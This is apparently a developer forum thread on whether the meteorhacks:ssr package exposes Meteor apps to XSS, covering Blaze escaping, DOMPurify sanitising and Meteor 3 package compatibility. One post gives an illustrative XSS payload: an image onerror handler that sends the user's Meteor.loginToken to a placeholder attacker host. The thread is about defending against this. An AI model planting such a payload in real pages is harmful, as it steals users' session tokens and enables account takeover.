XSS possibility with meteor-ssr

Security
1

Does meteorhacks:ssr could potentially be vulnerable to XSS attack due to its usage of eval? If so, then how can I mitigate it?

2 Likes
2

It’s not necessarily the usage of eval that’s bothering me but also how user input data is supplied to render method which open up the door to XSS.

Doesn’t Blaze by default escape provided input when you use double curly braces it escapes DOM special characters?? But when you use triply curly braces that the input is placed as is? So anything placed within {{}} gets escaped by default??

I tried to look at OSS Meteor applications in the wild and found this.

 sanitize(value) {
    return DOMPurify.sanitize(value);
  },

.attachments-galery
    each attachments
      .attachment-item
        a.attachment-thumbnail.swipebox(href="{{link}}" title="{{sanitize name}}")

Where the image title attribute gets passed through a special helper that sanitizes the input. But isn’t that what the double curly braces do already?

cc @xet7

1 Like
3

@harry97

That Dompurity sanitize removes Javascript etc so that it does not get executed when field content is viewed.

Dompurify is used browserside:

Example why this is important:

If some attacker changes browserside input or PubSub websocket content, then it is also good to check serverside, to not allow permission etc changes:

4

@harry97

But to your actual question, is there XSS possibility with meteor-ssr.

When I look at meteor-ssr code, I don’t see anywhere code like this?

if (Meteor.isServer()) {

So it that code running clientside?

If that code would be running serverside, and templates do not have any suspicious code, maybe it could work? But I don’t really know, it does not look like it would work.

Also, does Jade work at Meteor 3 yet?

For SSR, I have my own test code here, that I just upgraded it to Meteor 2.14:

@zodern

After upgrading to Meteor 3 alpha 19, and trying to build again, I get these errors. Do you have Meteor 3 compatible version of your package, that removes clientside Javascript? Or can you make version for Meteor 3 ?

Errors prevented bundling:                    
While loading plugin `minifyRemoveClient` from package `zodern:remove-client-js`:
packages/modules-runtime.js:222:12: Cannot find module 'fibers'
at makeMissingError (packages/modules-runtime.js:222:12)
at Module.require (packages/modules-runtime.js:241:17)
at require (packages/modules-runtime.js:258:21)
at module (packages/promise.js:40:3)
at fileEvaluate (packages/modules-runtime.js:336:7)
at Module.require (packages/modules-runtime.js:238:14)
at require (packages/modules-runtime.js:258:21)
at packages/promise.js:147:15
at packages/promise.js:154:3
5

Thank you for chipping in. Wekan is an absolute treasure trove and the more I dig in it the more gems I find. I thought Hall of fame is the best it can get but now I learnt about your security entry page. Which brings us to the question why packages like wekan-accounts-lockout and other forks you’ve under your projects aren’t published to Atmosphere??

Now onto the question:

So it that code running clientside?

If that code would be running serverside, and templates do not have any suspicious code, maybe it could work? But I don’t really know, it does not look like it would work.

In the application I’m working on, and presumably many others, meteor-ssr is used to render out email templates so if a malicious user injects some code into our application that then gets sent out to others via email then it can be used to steal the user token. Maybe like so:

<img src="fakeurl"
     onerror="$.get('//www.malicio.us/'+localStorage['Meteor.loginToken'])"
     alt="Cats suck!">

So is the way to solve it by using DOMPurify to sanitize data based to helpers? Uhhh this needs more digging. I’ve sent out an email to Peter Corey hopefully he responds back.

1 Like
6

@harry97

why packages like wekan-accounts-lockout and other forks you’ve under your projects aren’t published to Atmosphere??

Hehe, lockout package, I forked it because I only needed 10 files from it, not all the dependencies:

Those packages aren’t published yet to Atmosphere, because I have not yet spent time to figure out how to publish those as packages to Atmosphere. Also, I don’t know yet how to upgrade them to Meteor 3.0. All help welcome. Or I just continue trying to figure it all out myself.

I have released some packages to npmjs.com

I would think, that by default Meteor runs code both client and serverside. Limiting is done with Meteor.isServer() or Meteor.isClient() .

Yes, you can use DOMPurify to sanitize HTML, SVG etc, removing any extra code. It is also possible to render as markdown, show code that was hidden as html comment, etc:

7

I published zodern:remove-client-js@1.0.1-beta.5 which has been tested with Meteor 2.2 and Meteor 3.

2 Likes
8

@zodern

Thanks a lot ! I updated my serverside rendering example to newest Meteor 3 alpha. Clientside Javascript is removed. Serverside shows server time. It does not use MongoDB. Sure it is possible to add any database driver, npm package, or atmospherejs package.

1 Like